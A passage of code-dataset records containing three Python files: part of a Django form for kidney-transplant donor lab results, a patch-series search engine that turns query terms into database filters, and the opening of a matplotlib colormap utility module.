max_value=999)\n D_HbA1c = float_field('HbA1c (%)', min_value=0, max_value=30)\n\n D_pH = float_field('BGA pH', min_value=0, max_value=19)\n D_O2 = float_field(mark_safe('BGA O2 (mmHg)'), min_value=0, max_value=999)\n D_CO2 = float_field(mark_safe('BGA CO2 (mmHg)'), min_value=0, max_value=299)\n D_sat = float_field(mark_safe('BGA O2 Sat (%)'), min_value=0, max_value=100)\n D_FiO2 = float_field(mark_safe('BGA FiO2 (%)'), min_value=0, max_value=9999)\n\n D_UpH = float_field('Urine pH', min_value=1, max_value=19)\n D_Uprot = choice_field(Labskt, 'D_Uprot', 'Dipstick protein')\n D_UWBC = choice_field(Labskt, 'D_UWBC', 'U-WBC (/HPF)')\n D_URBC = choice_field(Labskt, 'D_URBC', 'U-RBC (/HPF)')\n\n D_HBsAg = choice_field(Labskt, 'D_HBsAg', 'HBsAg')\n D_anti_HBs = choice_field(Labskt, 'D_anti_HBs', 'Anti-HBs')\n D_HBeAg = choice_field(Labskt, 'D_HBeAg', 'HBeAg')\n D_HBeAb = choice_field(Labskt, 'D_HBeAb', 'HBeAb')\n D_anti_HBc_IgM = choice_field(Labskt, 'D_anti_HBc_IgM', 'Anti-HBc IgM')\n D_anti_HBc_IgG = choice_field(Labskt, 'D_anti_HBc_IgG', 'Anti-HBc IgG')\n D_anti_HCV = choice_field(Labskt, 'D_anti_HCV', 'Anti-HCV')\n D_anti_HAV_IgM = choice_field(Labskt, 'D_anti_HAV_IgM', 'Anti-HAV IgM')\n D_anti_HAV_IgG = choice_field(Labskt, 'D_anti_HAV_IgG', 'Anti-HAV IgG')\n D_anti_HIV = choice_field(Labskt, 'D_anti_HIV', 'Anti-HIV')\n D_RPR = choice_field(Labskt, 'D_RPR', 'RPR')\n D_CMV_IgG = choice_field(Labskt, 'D_CMV_IgG', 'CMV IgG')\n D_CMV_IgM = choice_field(Labskt, 'D_CMV_IgM', 'CMV IgM')\n D_EBV_VCA_IgG = choice_field(Labskt, 'D_EBV_VCA_IgG', 'EBV-VCA IgG')\n D_EBV_VCA_IgM = choice_field(Labskt, 'D_EBV_VCA_IgM', 'EBV-VCA IgM')\n D_TB_INFgamma = choice_field(Labskt, 'D_TB_INFgamma', 'TB INF-gamma')\n\n confirmpatho = bool_field_confirm(\"Donor 결과 입력을 마쳤으면 체크해주세요.\")\n memo_2 = char_textarea(\n \"메모\",\n placeholder=\"자료 입력 관련하여 필요한 메모를 남겨주세요.\",\n rows=5, max_length=1000)\n # lablog = char_textarea('수정 내역')\n\nclass PathoForm(PathForm):\n\n class Meta:\n model = Labskt\n fieldsets = [\n ('main', {\n 'fields': [\"D_sex\", \"D_age\",\"D_height\",\"D_weight\",],\n 'legend': '1. Donor 기초 정보',\n 'description': ' ',\n # 'classes': [''],\n }),\n ('main2', {\n 'fields': [\"D_ABO_type\",\"D_relation\", 'D_hospital', ],\n 'legend': '',\n }),\n\n\n ('history1', {\n 'fields': [\"D_DM\",\"D_HTN\",\"D_smoking\",\"D_alcohol\", \"D_otherhx\"],\n 'legend': '2. Donor 과거력',\n 'description': ' ',\n }),\n ('history2', {\n 'fields': [\"D_brain_cause\",\"D_trauma\",\"D_CPR\",\"D_ECMO\",\"D_AKI\",\"D_RRT\",\"D_inotropic\",\"D_transfusion\"],\n 'legend': '',\n }),\n\n # KT studies\n ('ktstudies1', {\n 'fields': [\"D_abnorm_findings\"],\n 'legend': '3. Donor KT studies',\n 'description': ' ',\n }),\n\n # CBC\n ('CBC1', {\n 'fields': [\"D_WBC\",\"D_Hb\",\"D_Hct\",\"D_PLT\" ],\n 'legend': '4. CBC & Chemistry',\n 'description': ' ',\n }),\n ('CBC2', {\n 'fields': [\"D_PT\",\"D_aPTT\" ],\n 'legend': '',\n }),\n ('chemistry1', {\n 'fields': [\"D_T_prot\",\"D_Alb\",\"D_Gluc\"],\n 'legend': '',\n }),\n ('chemistry2', {\n 'fields': [\"D_BUN\",\"D_Cr\",\"D_base_Cr\"],\n 'legend': '',\n }),\n ('chemistry3', {\n 'fields': [\"D_T_bil\",\"D_AST\",\"D_ALT\",\"D_ALP\",\"D_LDH\",\"D_UA\" ],\n 'legend': '',\n }),\n ('chemistry4', {\n 'fields': [\"D_TG\",\"D_T_chol\",\"D_HDL\",],\n 'legend': '',\n }),\n ('chemistry42', {\n 'fields': [\"D_Na\", \"D_Kal\", \"D_Cl\", \"D_TCO2\",\n \"D_Ca\", \"D_phos\", \"D_CRP\",\"D_HbA1c\"],\n 'legend': '',\n }),\n ('chemistry6', {\n 'fields': [\"D_pH\",\"D_CO2\",\"D_O2\",\"D_sat\",\"D_FiO2\" ],\n 'legend': '',\n }),\n\n # RUA\n ('RUA', {\n 'fields': [\"D_UpH\",\"D_Uprot\",\"D_URBC\", \"D_UWBC\", ],\n 'legend': '5. Urine studies',\n 'description': ' ',\n }),\n\n # Serology\n ('serology1', {\n 'fields': [\"D_HBsAg\",\"D_anti_HBs\",\"D_HBeAg\",\"D_HBeAb\",\"D_anti_HBc_IgM\",\"D_anti_HBc_IgG\", ],\n 'legend': '6. Serology',\n 'description': ' ',\n }),\n ('serology2', {\n 'fields': [\"D_anti_HCV\",\"D_anti_HAV_IgM\", \"D_anti_HAV_IgG\", ],\n 'legend': '',\n }),\n ('serology3', {\n 'fields': [\"D_CMV_IgM\", \"D_CMV_IgG\",\"D_EBV_VCA_IgM\",\"D_EBV_VCA_IgG\",],\n 'legend': '',\n }),\n ('serology4', {\n 'fields': [\"D_anti_HIV\", \"D_RPR\", \"D_TB_INFgamma\"],\n 'legend': '',\n }),\n\n ('mainconfirm', {\n 'legend': '7. 기록 완료 여부',\n 'description': ' ',\n 'fields': ['confirmpatho', 'memo_2'],\n }),\n ]\n\n","sub_path":"labskt/forms_patho.py","file_name":"forms_patho.py","file_ext":"py","file_size_in_byte":9776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"165052917","text":"#!/usr/bin/env python3\n#\n# Copyright 2016 Red Hat, Inc.\n#\n# Authors:\n# Fam Zheng \n#\n# This work is licensed under the MIT License. Please see the LICENSE file or\n# http://opensource.org/licenses/MIT.\n\nfrom .models import Message\nfrom django.db.models import Q\n\nclass InvalidSearchTerm(Exception):\n pass\n\nclass SearchEngine(object):\n \"\"\"\n\nThe general form of search string is a list of terms separated with space:\n\n QUERY = TERM TERM ...\n\nEach term can be either a plain keyword, or a predict in the form of\n`PRED:EXP`, where PRED is the predefined filter and EXP is the parameters to be\napplied to the filter. As a simple example:\n\n bugfix from:Bob to:George age:>1w\n\nto search emails titled as 'bugfix' (a subject keyword filter) from Bob (a\nsender filter) to George (a recipient filter) before 1 week ago (an age\nfilter).\n\nor\n\n bugfix from:Bob is:reviewed not:obsoleted\n\nto search all emails from Bob that have \"bugfix\" in subject, and have been\nreviewed but is not obsoleted (by a new revision of this series). Because there\nare syntax shortcut for some predicts, it can be simplified as:\n\n from:Bob fix +reviewed -tested\n\n---\n\n## Supported filter types\n\n### Search by age\n\n - Syntax: age:AGE\n - Syntax: >AGE\n - Syntax: 2d\n - age:<1w\n - <1m\n - \\>1w\n\n---\n\n### Search by series state\n\nSyntax:\n\n - is:reviewed - all the patches in the series is reviewed\n - is:obsolete or is:old - the series has newer version\n - is:complete - the series has all the patches it contains\n - is:merged - the series is included in the project's git tree\n - is:pull - the series is a pull request\n - has:replies - the series received a reply (apart from patches sent by the submitter)\n\nExample:\n\n is:reviewed\n\n---\n\n### Search addresses\n\n - Syntax: from:ADDRESS\n - Syntax: to:ADDRESS\n\nCompare the address info of message. Example:\n\n from:alice to:bob\n\n---\n\n### Reverse condition\n\n - Syntax: !TERM\n\nNegative of an expression. Example:\n\n !is:reviewed (query series that are not reviewed)\n !has:replies (query series that have not received any comment)\n\n---\n\n### Search by message id\n\n - Syntax: id:MESSAGE-ID\n\nExact match of message-id. Example:\n\n id:<1416902879-17422-1-git-send-email-user@domain.com>\n\nor\n\n id:1416902879-17422-1-git-send-email-user@domain.com\n\n---\n\n### Search by text\n\n - Syntax: KEYWORD\n\nSearch text keyword in the email message. Example:\n\n regression\n\n\"\"\"\n def _process_term(self, query, term, neg=False):\n \"\"\" Return a Q object that will be applied to the query \"\"\"\n def as_keywords(t):\n self._last_keywords.append(t)\n return Q(subject__icontains=t)\n\n if term.startswith(\"!\"):\n return self._process_term(query, term[1:], not neg)\n if term.startswith(\"age:\"):\n cond = term[term.find(\":\") + 1:]\n q = self._process_age_term(query, cond)\n elif term[0] in \"<>\":\n q = self._process_age_term(query, term)\n elif term.startswith(\"from:\"):\n cond = term[term.find(\":\") + 1:]\n q = Q(sender__icontains=cond)\n elif term.startswith(\"to:\"):\n cond = term[term.find(\":\") + 1:]\n q = Q(recipients__icontains=cond)\n elif term.startswith(\"subject:\"):\n cond = term[term.find(\":\") + 1:]\n q = Q(subject__icontains=cond)\n elif term.startswith(\"id:\"):\n cond = term[term.find(\":\") + 1:]\n if cond[0] == \"<\" and cond[-1] == \">\":\n cond = cond[1:-1]\n q = Q(message_id=cond)\n elif term.startswith(\"is:\") or term.startswith(\"not:\") or term[0] in \"+-\":\n if term[0] in \"+-\":\n cond = term[1:]\n lneg = term[0] == \"-\"\n else:\n cond = term[term.find(\":\") + 1:]\n lneg = term.startswith(\"not:\")\n if cond == \"complete\":\n q = Q(is_complete=True)\n elif cond == \"pull\":\n q = Q(subject__contains='[PULL') | Q(subject__contains='[GIT PULL')\n elif cond == \"reviewed\":\n q = Q(properties__name=\"reviewed\",\n properties__value=\"true\")\n elif cond in (\"obsoleted\", \"old\"):\n q = Q(properties__name=\"obsoleted-by\",\n properties__value__isnull=False) & \\\n ~Q(properties__name=\"obsoleted-by\",\n properties__value__iexact='')\n elif cond == \"applied\":\n q = Q(properties__name=\"git.tag\",\n properties__value__isnull=False) & \\\n ~Q(properties__name=\"git.tag\",\n properties__value__iexact='')\n elif cond == \"tested\":\n q = Q(properties__name=\"testing.done\",\n properties__value=\"true\")\n elif cond == \"merged\":\n q = Q(is_merged=True)\n else:\n q = as_keywords(term)\n if lneg:\n neg = not neg\n elif term.startswith(\"has:\"):\n cond = term[term.find(\":\") + 1:]\n if cond == \"replies\":\n q = Q(last_comment_date__isnull=False)\n else:\n q = Q(properties__name=cond)\n elif term.startswith(\"project:\"):\n cond = term[term.find(\":\") + 1:]\n self._projects.add(cond)\n q = Q(project__name=cond) | Q(project__parent_project__name=cond)\n else:\n # Keyword in subject is the default\n q = as_keywords(term)\n if neg:\n return query.exclude(pk__in=query.filter(q))\n else:\n return query.filter(q)\n\n def last_keywords(self):\n return getattr(self, \"_last_keywords\", [])\n\n def project(self):\n return next(iter(self._projects)) if len(self._projects) == 1 else None\n\n def search_series(self, *terms, queryset=None):\n self._last_keywords = []\n self._projects = set()\n if queryset is None:\n queryset = Message.objects.series_heads()\n for t in terms:\n queryset = self._process_term(queryset, t)\n return queryset\n\n def _process_age_term(self, query, cond):\n import datetime\n def human_to_seconds(n, unit):\n if unit == \"d\":\n return n * 86400\n elif unit == \"w\":\n return n * 86400 * 7\n elif unit == \"m\":\n return n * 86400 * 30\n elif unit == \"y\":\n return n * 86400 * 365\n raise Exception(\"No unit specified\")\n\n if cond.startswith(\"<\"):\n less = True\n cond = cond[1:]\n elif cond.startswith(\">\"):\n less = False\n cond = cond[1:]\n else:\n less = False\n num, unit = cond[:-1], cond[-1].lower()\n if not num.isdigit() or not unit in \"dwmy\":\n raise InvalidSearchTerm(\"Invalid age string: %s\" % cond)\n sec = human_to_seconds(int(num), unit)\n p = datetime.datetime.now() - datetime.timedelta(0, sec)\n if less:\n q = Q(date__gte=p)\n else:\n q = Q(date__lte=p)\n return q\n","sub_path":"api/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":7322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"19944779","text":"#!/usr/bin/env python3\n\"\"\"\nNew colormap classes and colormap normalization classes.\n\"\"\"\n# NOTE: Avoid colormap/color name conflicts by checking\n# set(pplt.colors._cmap_database) & set(pplt.colors.mcolors._colors_full_map)\n# whenever new default colormaps are added. Currently result is\n# {'gray', 'marine', 'ocean', 'pink'} which correspond to MATLAB and GNUplot maps.\nimport json\nimport os\nimport re\nfrom numbers import Integral, Number\nfrom xml.etree import ElementTree\n\nimport matplotlib.cm as mcm\nimport matplotlib.colors as mcolors\nimport numpy as np\nimport numpy.ma as ma\nfrom matplotlib import rcParams\n\nfrom .internals import ic # noqa: F401\nfrom .internals import _not_none, _pop_props, docstring, warnings\nfrom .utils import to_rgb, to_rgba, to_xyz, to_xyza\n\n__all__ = [\n 'ListedColormap',\n 'LinearSegmentedColormap',\n 'PerceptuallyUniformColormap',\n 'DiscreteNorm',\n 'DivergingNorm',\n 'LinearSegmentedNorm',\n 'ColorDatabase',\n 'ColormapDatabase',\n]\n\n# Constants\n# NOTE: Do not compile hex regex because config.py needs this with \\A\\Z surrounding\nREGEX_HEX = r'#(?:[0-9a-fA-F]{3,4}){2}' # 6-8 digit hex\nCMAPS_DIVERGING = tuple(\n (key1.lower(), key2.lower())\n for key1, key2 in (\n ('PiYG', 'GYPi'),\n ('PRGn', 'GnRP'),\n ('BrBG', 'GBBr'),\n ('PuOr', 'OrPu'),\n ('RdGy', 'GyRd'),\n ('RdBu', 'BuRd'),\n ('RdYlBu', 'BuYlRd'),\n ('RdYlGn', 'GnYlRd'),\n ('BR', 'RB'),\n ('CoolWarm', 'WarmCool'),\n ('ColdHot', 'HotCold'),\n ('NegPos', 'PosNeg'),\n ('DryWet', 'WetDry')\n )\n)\n\n# Deprecations\n_cmaps_removed = {\n 'Blue0': '0.6',\n 'Cool': '0.6',\n 'Warm': '0.6',\n 'Hot': '0.6',\n 'Floral': '0.6',\n 'Contrast': '0.6',\n 'Sharp': '0.6',\n 'Viz': '0.6',\n}\n_cmaps_renamed = {\n 'Blue1': ('Blues1', '0.7'),\n 'Blue2': ('Blues2', '0.7'),\n 'Blue3': ('Blues3', '0.7'),\n 'Blue4': ('Blues4', '0.7'),\n 'Blue5': ('Blues5', '0.7'),\n 'Blue6': ('Blues6', '0.7'),\n 'Blue7': ('Blues7', '0.7'),\n 'Blue8': ('Blues8', '0.7'),\n 'Blue9': ('Blues9', '0.7'),\n 'Green1': ('Greens1', '0.7'),\n 'Green2': ('Greens2', '0.7'),\n 'Green3': ('Greens3', '0.7'),\n 'Green4': ('Greens4', '0.7'),\n 'Green5': ('Greens5', '0.7'),\n 'Green6': ('Greens6', '0.7'),\n 'Green7': ('Greens7', '0.7'),\n 'Green8': ('Greens8', '0.7'),\n 'Orange1': ('Yellows1', '0.7'),\n 'Orange2': ('Yellows2', '0.7'),\n 'Orange3': ('Yellows3', '0.7'),\n 'Orange4': ('Oranges2', '0.7'),\n 'Orange5': ('Oranges1', '0.7'),\n 'Orange6': ('Oranges3', '0.7'),\n 'Orange7': ('Oranges4', '0.7'),\n 'Orange8': ('Yellows4', '0.7'),\n 'Brown1': ('Browns1', '0.7'),\n 'Brown2': ('Browns2', '0.7'),\n 'Brown3': ('Browns3', '0.7'),\n 'Brown4': ('Browns4', '0.7'),\n 'Brown5': ('Browns5', '0.7'),\n 'Brown6': ('Browns6', '0.7'),\n 'Brown7': ('Browns7', '0.7'),\n 'Brown8': ('Browns8', '0.7'),\n 'Brown9': ('Browns9', '0.7'),\n 'RedPurple1': ('Reds1', '0.7'),\n 'RedPurple2': ('Reds2', '0.7'),\n 'RedPurple3': ('Reds3', '0.7'),\n 'RedPurple4': ('Reds4', '0.7'),\n 'RedPurple5': ('Reds5', '0.7'),\n 'RedPurple6': ('Purples1', '0.7'),\n 'RedPurple7': ('Purples2', '0.7'),\n 'RedPurple8': ('Purples3', '0.7'),\n}\n\ndocstring.snippets['cmap.init'] = \"\"\"\nalpha : float, optional\n The opacity for the entire colormap. This overrides the input\n segment data.\ncyclic : bool, optional\n Whether the colormap is cyclic. If ``True``, this changes how the leftmost\n and rightmost color levels are selected, and `extend` can only be\n ``'neither'`` (a warning will be issued otherwise).\n\"\"\"\n\ndocstring.snippets['cmap.gamma'] = \"\"\"\ngamma : float, optional\n Sets `gamma1` and `gamma2` to this identical value.\ngamma1 : float, optional\n If >1, makes low saturation colors more prominent. If <1,\n makes high saturation colors more prominent. Similar to the\n `HCLWizard `_ option.\ngamma2 : float, optional\n If >1, makes high luminance colors more prominent. If <1,\n makes low luminance colors more prominent. Similar to the\n `HCLWizard `_ option.\n\"\"\"\n\n\ndef _clip_colors(colors, clip=True, gray=0.2, warn=False):\n \"\"\"\n Clip impossible colors rendered in an HSL-to-RGB colorspace conversion.\n Used by `PerceptuallyUniformColormap`. If `mask` is ``True``, impossible\n colors are masked out.\n\n Parameters\n ----------\n colors : list of length-3 tuples\n The RGB colors.\n clip : bool, optional\n If `clip` is ``True`` (the default), RGB channel values >1 are clipped\n to 1. Otherwise, the color is masked out as gray.\n gray : float, optional\n The identical RGB channel values (gray color) to be used if `mask`\n is ``True``.\n warn : bool, optional\n Whether to issue warning when colors are clipped.\n \"\"\"\n colors = np.array(colors)\n over = colors > 1\n under = colors < 0\n if clip:\n colors[under] = 0\n colors[over] = 1\n else:\n colors[under | over] = gray\n if warn:\n msg = 'Clipped' if clip else 'Invalid'\n for i, name in enumerate('rgb'):\n if under[:, i].any():\n warnings._warn_proplot(f'{msg} {name!r} channel ( < 0).')\n if over[:, i].any():\n warnings._warn_proplot(f'{msg} {name!r} channel ( > 1).')\n return colors\n\n\ndef _get_channel(color, channel, space='hcl'):\n \"\"\"\n Get the hue, saturation, or luminance channel value from the input color.\n The color name `color` can optionally be a string with the format\n ``'color+x'`` or ``'color-x'``, where `x` specifies the offset from the\n channel value.\n\n Parameters\n ----------\n color : color-spec\n The color. Sanitized with `to_rgba`.\n channel : {'hue', 'chroma', 'saturation', 'luminance'}\n The HCL channel to be retrieved.\n space : {'hcl', 'hpl', 'hsl', 'hsv', 'rgb'}, optional\n The colorspace for the corresponding channel value.\n\n Returns\n -------\n value : float\n The channel value.\n \"\"\"\n # Interpret channel\n if callable(color) or isinstance(color, Number):\n return color\n if channel == 'hue':\n channel = 0\n elif channel in ('chroma', 'saturation'):\n channel = 1\n elif channel == 'luminance':\n channel = 2\n else:\n raise ValueError(f'Unknown channel {channel!r}.')\n # Interpret string or RGB tuple\n offset = 0\n if isinstance(color, str):\n match = re.search('([-+][0-9.]+)$', color)\n if match:\n offset = float(match.group(0))\n color = color[:match.start()]\n return offset + to_xyz(color, space)[channel]\n\n\ndef _make_segment_data(values, coords=None, ratios=None):\n \"\"\"\n Return a segmentdata array or callable given the input colors\n and coordinates.\n\n Parameters\n ----------\n values : list of float\n The channel values.\n coords : list of float, optional\n The segment coordinates.\n ratios : list of float, optional\n The relative length of each segment transition.\n \"\"\"\n # Allow callables\n if callable(values):\n return values\n values = np.atleast_1d(values)\n if len(values) == 1:\n value = values[0]\n return [(0, value, value), (1, value, value)]\n\n # Get coordinates\n if not np.iterable(values):\n raise TypeError('Colors must be iterable, got {values!r}.')\n if coords is not None:\n coords = np.atleast_1d(coords)\n if ratios is not None:\n warnings._warn_proplot(\n f'Segment coordinates were provided, ignoring '\n f'ratios={ratios!r}.'\n )\n if len(coords) != len(values) or coords[0] != 0 or coords[-1] != 1:\n raise ValueError(\n f'Coordinates must range from 0 to 1, got {coords!r}.'\n )\n elif ratios is not None:\n coords = np.atleast_1d(ratios)\n if len(coords) != len(values) - 1:\n raise ValueError(\n f'Need {len(values)-1} ratios for {len(values)} colors, '\n f'but got {len(ratios)} ratios.'\n )\n coords = np.concatenate(([0], np.cumsum(coords)))\n coords = coords / np.max(coords) # normalize to 0-1\n else:\n coords = np.linspace(0, 1, len(values))\n\n # Build segmentdata array\n array = []\n for c, value in zip(coords, values):\n array.append((c, value, value))\n return array\n\n\ndef _make_lookup_table(N, data, gamma=1.0, inverse=False):\n r\"\"\"\n Used to generate lookup tables of HSL values given gradations specified\n by `PerceptuallyUniformColormap`. Similar to `~matplotlib.colors.makeMappingArray`\n but permits *circular* hue gradations along 0-360, disables clipping of\n out-of-bounds channel values, and uses fancier \"gamma\" scaling.\n\n Parameters\n ----------\n N : int\n Number of points in the colormap lookup table.\n data : 2D array-like\n List of :math:`(x, y_0, y_1)` tuples specifying the channel jump (from\n :math:`y_0` to :math:`y_1`) and the :math:`x` coordinate of that\n transition (ranges between 0 and 1).\n See `~matplotlib.colors.LinearSegmentedColormap` for details.\n gamma : float or list of float, optional\n To obtain channel values between coordinates :math:`x_i` and\n :math:`x_{i+1}` in rows :math:`i` and :math:`i+1` of `data`,\n we use the formula:\n\n .. math::\n\n y = y_{1,i} + w_i^{\\gamma_i}*(y_{0,i+1} - y_{1,i})\n\n where :math:`\\gamma_i` corresponds to `gamma` and the weight\n :math:`w_i` ranges from 0 to 1 between rows ``i`` and ``i+1``.\n If `gamma` is float, it applies to every transition. Otherwise,\n its length must equal ``data.shape[0]-1``.\n\n This is like the `gamma` used with matplotlib's\n `~matplotlib.colors.makeMappingArray`, except it controls the\n weighting for transitions *between* each segment data coordinate rather\n than the coordinates themselves. This makes more sense for\n `PerceptuallyUniformColormap`\\ s because they usually consist of just\n one linear transition for *sequential* colormaps and two linear\n transitions for *diverging* colormaps.\n inverse : bool, optional\n If ``True``, :math:`w_i^{\\gamma_i}` is replaced with\n :math:`1 - (1 - w_i)^{\\gamma_i}` -- that is, when `gamma` is greater\n than 1, this weights colors toward *higher* channel values instead\n of lower channel values.\n\n This is implemented in case we want to apply *equal* \"gamma scaling\"\n to different HSL channels in different directions. Usually, this\n is done to weight low data values with higher luminance *and* lower\n saturation, thereby emphasizing \"extreme\" data values.\n \"\"\"\n # Allow for *callable* instead of linearly interpolating between segments\n gammas = np.atleast_1d(gamma)\n if (gammas < 0.01).any() or (gammas > 10).any():\n raise ValueError('Gamma can only be in range [0.01,10].')\n if callable(data):\n if len(gammas) > 1:\n raise ValueError(\n 'Only one gamma allowed for functional segmentdata.')\n x = np.linspace(0, 1, N)**gamma\n lut = np.array(data(x), dtype=float)\n return lut\n\n # Get array\n data = np.array(data)\n shape = data.shape\n if len(shape) != 2 or shape[1] != 3:\n raise ValueError('Data must be nx3 format.')\n if len(gammas) != 1 and len(gammas) != shape[0] - 1:\n raise ValueError(\n f'Need {shape[0]-1} gammas for {shape[0]}-level mapping array, '\n f'but got {len(gamma)}.'\n )\n if len(gammas) == 1:\n gammas = np.repeat(gammas, shape[:1])\n\n # Get indices\n x = data[:, 0]\n y0 = data[:, 1]\n y1 = data[:, 2]\n if x[0] != 0.0 or x[-1] != 1.0:\n raise ValueError(\n 'Data mapping points must start with x=0 and end with x=1.'\n )\n if (np.diff(x) < 0).any():\n raise ValueError(\n 'Data mapping points must have x in increasing order.'\n )\n x = x * (N - 1)\n\n # Get distances from the segmentdata entry to the *left* for each requested\n # level, excluding ends at (0,1), which must exactly match segmentdata ends\n xq = (N - 1) * np.linspace(0, 1, N)\n # where xq[i] must be inserted so it is larger than x[ind[i]-1] but\n # smaller than x[ind[i]]\n ind = np.searchsorted(x, xq)[1:-1]\n distance = (xq[1:-1] - x[ind - 1]) / (x[ind] - x[ind - 1])\n\n # Scale distances in each segment by input gamma\n # The ui are starting-points, the ci are counts from that point\n # over which segment applies (i.e. where to apply the gamma), the relevant\n # 'segment' is to the *left* of index returned by searchsorted\n _, uind, cind = np.unique(ind, return_index=True, return_counts=True)\n for ui, ci in zip(uind, cind): # length should be N-1\n # the relevant segment is to *left* of this number\n gamma = gammas[ind[ui] - 1]\n if gamma == 1:\n continue\n ireverse = False\n if ci > 1: # i.e. more than 1 color in this 'segment'\n # by default want to weight toward a *lower* channel value\n ireverse = ((y0[ind[ui]] - y1[ind[ui] - 1]) < 0)\n if inverse:\n ireverse = not ireverse\n if ireverse:\n distance[ui:ui + ci] = 1 - (1 - distance[ui:ui + ci])**gamma\n else:\n distance[ui:ui + ci] **= gamma\n\n # Perform successive linear interpolations all rolled up into one equation\n lut = np.zeros((N,), float)\n lut[1:-1] = distance * (y0[ind] - y1[ind - 1]) + y1[ind - 1]\n lut[0] = y1[0]\n lut[-1] = y0[-1]\n return lut\n\n\nclass _Colormap(object):\n \"\"\"\n Mixin class used to add some helper methods.\n \"\"\"\n def _get_data(self, ext, alpha=True):\n \"\"\"\n Return a string containing the colormap colors for saving.\n\n Parameters\n ----------\n ext : {'hex', 'txt', 'rgb'}\n The filename extension.\n alpha : bool, optional\n Whether to include an opacity column.\n \"\"\"\n # Get lookup table colors and filter out bad ones\n if not self._isinit:\n self._init()\n colors = self._lut[:-3, :]\n\n # Get data string\n if ext == 'hex':\n data = ', '.join(mcolors.to_hex(color) for color in colors)\n elif ext in ('txt', 'rgb'):\n rgb = mcolors.to_rgba if alpha else mcolors.to_rgb\n data = [rgb(color) for color in colors]\n data = '\\n'.join(\n ' '.join(f'{num:0.6f}' for num in line) for line in data\n )\n else:\n raise ValueError(\n f'Invalid extension {ext!r}. Options are: '\n \"'hex', 'txt', 'rgb', 'rgba'.\"\n )\n return data\n\n def _parse_path(self, path, dirname='.', ext=''):\n \"\"\"\n Parse the user input path.\n\n Parameters\n ----------\n dirname : str, optional\n The default directory.\n ext : str, optional\n The default extension.\n \"\"\"\n path = os.path.expanduser(path or '')\n dirname = os.path.expanduser(dirname or '')\n if not path or os.path.isdir(path):\n path = os.path.join(path or dirname, self.name) # default name\n dirname, basename = os.path.split(path) # default to current directory\n path = os.path.join(dirname or '.', basename)\n if not os.path.splitext(path)[-1]:\n path = path + '.' + ext # default file extension\n return path\n\n @classmethod\n def _from_file(cls, filename, warn_on_failure=False):\n \"\"\"\n Read generalized colormap and color cycle files.\n \"\"\"\n filename = os.path.expanduser(filename)\n name, ext = os.path.splitext(os.path.basename(filename))\n listed = issubclass(cls, mcolors.ListedColormap)\n reversed = name[-2:] == '_r'\n\n # Warn if loading failed during `register_cmaps` or `register_cycles`\n # but raise error if user tries to load a file.\n def _warn_or_raise(msg, error=RuntimeError):\n if warn_on_failure:\n warnings._warn_proplot(msg)\n else:\n raise error(msg)\n if not os.path.exists(filename):\n return _warn_or_raise(f'File {filename!r} not found.', FileNotFoundError)\n\n # Directly read segmentdata json file\n # NOTE: This is special case! Immediately return name and cmap\n ext = ext[1:]\n if ext == 'json':\n if listed:\n raise TypeError(\n f'Cannot load listed colormaps from json files ({filename!r}).'\n )\n try:\n with open(filename, 'r') as fh:\n data = json.load(fh)\n except json.JSONDecodeError:\n return _warn_or_raise(\n f'Failed to load {filename!r}.', json.JSONDecodeError\n )\n kw = {}\n for key in ('cyclic', 'gamma', 'gamma1', 'gamma2', 'space'):\n if key in data:\n kw[key] = data.pop(key, None)\n if 'red' in data:\n cmap = LinearSegmentedColormap(name, data)\n else:\n cmap = PerceptuallyUniformColormap(name, data, **kw)\n if reversed:\n cmap = cmap.reversed(name[:-2])\n return cmap\n\n # Read .rgb and .rgba files\n if ext in ('txt', 'rgb'):\n # Load\n # NOTE: This appears to be biggest import time bottleneck! Increases\n # time from 0.05s to 0.2s, with numpy loadtxt or with this regex thing.\n delim = re.compile(r'[,\\s]+')\n data = [\n delim.split(line.strip())\n for line in open(filename)\n if line.strip() and line.strip()[0] != '#'\n ]\n try:\n data = [[float(num) for num in line] for line in data]\n except ValueError:\n return _warn_or_raise(\n f'Failed to load {filename!r}. Expected a table of comma '\n 'or space-separated values.'\n )\n # Build x-coordinates and standardize shape\n data = np.array(data)\n if data.shape[1] not in (3, 4):\n return _warn_or_raise(\n f'Failed to load {filename!r}. Got {data.shape[1]} columns, '\n f'but expected 3 or 4.'\n )\n if ext[0] != 'x': # i.e. no x-coordinates specified explicitly\n x = np.linspace(0, 1, data.shape[0])\n else:\n x, data = data[:, 0], data[:, 1:]\n\n # Load XML files created with scivizcolor\n # Adapted from script found here:\n # https://sciviscolor.org/matlab-matplotlib-pv44/\n elif ext == 'xml':\n try:\n doc = ElementTree.parse(filename)\n except ElementTree.ParseError:\n return _warn_or_raise(\n f'Failed to load {filename!r}. Parsing error.',\n ElementTree.ParseError\n )\n x, data = [], []\n for s in doc.getroot().findall('.//Point'):\n # Verify keys\n if any(key not in s.attrib for key in 'xrgb'):\n return _warn_or_raise(\n f'Failed to load {filename!r}. Missing an x, r, g, or b '\n 'specification inside one or more tags.'\n )\n # Get data\n color = []\n for key in 'rgbao': # o for opacity\n if key not in s.attrib:\n continue\n color.append(float(s.attrib[key]))\n x.append(float(s.attrib['x']))\n data.append(color)\n # Convert to array\n if not all(\n len(data[0]) == len(color) and len(color) in (3, 4)\n for color in data\n ):\n return _warn_or_raise(\n f'Failed to load {filename!r}. Unexpected number of channels '\n 'or mixed channels across tags.'\n )\n\n # Read hex strings\n elif ext == 'hex':\n # Read arbitrary format\n string = open(filename).read() # into single string\n data = re.findall(REGEX_HEX, string)\n if len(data) < 2:\n return _warn_or_raise(\n f'Failed to load {filename!r}. Hex strings not found.'\n )\n # Convert to array\n x = np.linspace(0, 1, len(data))\n data = [to_rgb(color) for color in data]\n\n # Invalid extension\n else:\n return _warn_or_raise(\n f'Colormap or cycle file {filename!r} has unknown extension.'\n )\n\n # Standardize and reverse if necessary to cmap\n # TODO: Document the fact that filenames ending in _r return a reversed\n # version of the colormap stored in that file.\n x, data = np.array(x), np.array(data)\n x = (x - x.min()) / (x.max() - x.min()) # ensure they span 0-1\n if np.any(data > 2): # from 0-255 to 0-1\n data = data / 255\n if reversed:\n name = name[:-2]\n data = data[::-1, :]\n x = 1 - x[::-1]\n if listed:\n return ListedColormap(data, name)\n else:\n data = [(x, color) for x, color in zip(x, data)]\n return LinearSegmentedColormap.from_list(name, data)\n\n\nclass LinearSegmentedColormap(mcolors.LinearSegmentedColormap, _Colormap):\n r\"\"\"\n 